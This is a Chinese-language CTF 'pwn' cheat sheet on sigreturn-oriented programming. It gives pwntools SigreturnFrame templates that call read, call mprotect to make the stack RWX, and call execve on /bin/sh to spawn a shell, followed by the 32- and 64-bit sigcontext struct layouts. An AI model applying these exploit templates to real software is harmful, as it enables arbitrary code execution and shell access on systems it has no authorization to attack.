一、SROP调用的结构体,在sigcontext.h中有定义:
1.32位程序:
(1)总长度共计:
(2)调用:
1 2 3 4 5 6 7 8 9 #注释头 A.32位系统上运行32位程序: context.arch = 'i386' SigreturnFrame(kernel = 'i386') B.64位系统上运行32位程序: context.arch = 'i386' SigreturnFrame(kernel = 'amd64')
2.64位程序:
(1)总长共计:0xf8
(2)调用:
1 2 3 4 #注释头 context.arch = ‘amd64’ SigreturnFrame(kernel = ‘amd64’)
二、pwn中使用:
1.首先定义:
frame_func = SigreturnFrame()
2.之后设置寄存器:
1 2 3 4 5 6 7 8 #注释头 frame_func.rax = constants.SYS_func frame_func.rdi/rsi/...... frame_func.rsp = stack_addr #栈劫持一般可以用到,即当SROP运行完之后,栈顶就会跳转到设置的rsp处,没设置则默认为0 frame_func.rip = syscall_addr #这里通过rax和rip配合调用任意系统函数,其它寄存器就是用来设置参数的)
3.使用条件:
(1)没有sigreturn gadget指针时,利用syscall来调用:
①64位需要系统调用号rax = 0xf。32位需要系统调用号rax = 0x4d
(这个一般可以通过read函数来实现,修改rax)
②进入时需要执行syscall,栈顶rsp指向frame_func结构体头部。
(2)有sigreturn指针时:
直接覆盖返回地址为sigreturn gadget,然后该返回地址下方的栈上覆盖frame_func结构体。
三、常用功能:
1.read:
1 2 3 4 5 6 7 8 #注释头 frame_read = SigreturnFrame() #设置read的SROP帧 frame_read.rax = constants.SYS_read frame_read.rdi = 0 frame_read.rsi = stack_addr frame_read.rdx = 0x300 frame_read.rip = syscall_addr
2.利用mprotect修改内存RWX权限:
1 2 3 4 5 6 7 8 9 10 #注释头 frame_mprotect = SigreturnFrame() #设置mprotect的SROP帧,用mprotect修改栈内存为RWX frame_mprotect.rax = constants.SYS_mprotect frame_mprotect.rdi = stack_addr & 0xFFFFFFFFFFFFF000 frame_mprotect.rsi = 0x1000 frame_mprotect.rdx = constants.PROT_READ | constants.PROT_WRITE | constants.PROT_EXEC frame_mprotect.rsp = stack_addr frame_mprotect.rip = syscall_addr
3.getshell:
1 2 3 4 5 6 7 #注释头 frame_execve = SigreturnFrame() frame_execve.rax = constants.SYS_execve frame_execve.rdi = stack_addr+0x108 #这是binsh字符串的地址 frame_execve.rip = syscall_addr
四、结构体 in /usr/include/bits/sigcontext.h:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #注释头 0xf8 struct sigcontext { __uint64_t r8; __uint64_t r9; __uint64_t r10; __uint64_t r11; __uint64_t r12; __uint64_t r13; __uint64_t r14; __uint64_t r15; __uint64_t rdi; __uint64_t rsi; __uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short __pad0; __uint64_t err; __uint64_t trapno; __uint64_t oldmask; __uint64_t cr2; __extension__ union { struct _fpstate * fpstate; __uint64_t __fpstate_word; }; __uint64_t __reserved1 [8]; };
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #注释头 0x50 struct sigcontext { unsigned short gs, __gsh; unsigned short fs, __fsh; unsigned short es, __esh; unsigned short ds, __dsh; unsigned long edi; unsigned long esi; unsigned long ebp; unsigned long esp; unsigned long ebx; unsigned long edx; unsigned long ecx; unsigned long eax; unsigned long trapno; unsigned long err; unsigned long eip; unsigned short cs, __csh; unsigned long eflags; unsigned long esp_at_signal; unsigned short ss, __ssh; struct _fpstate * fpstate; unsigned long oldmask; unsigned long cr2; };
实际大小最好对应版本再调试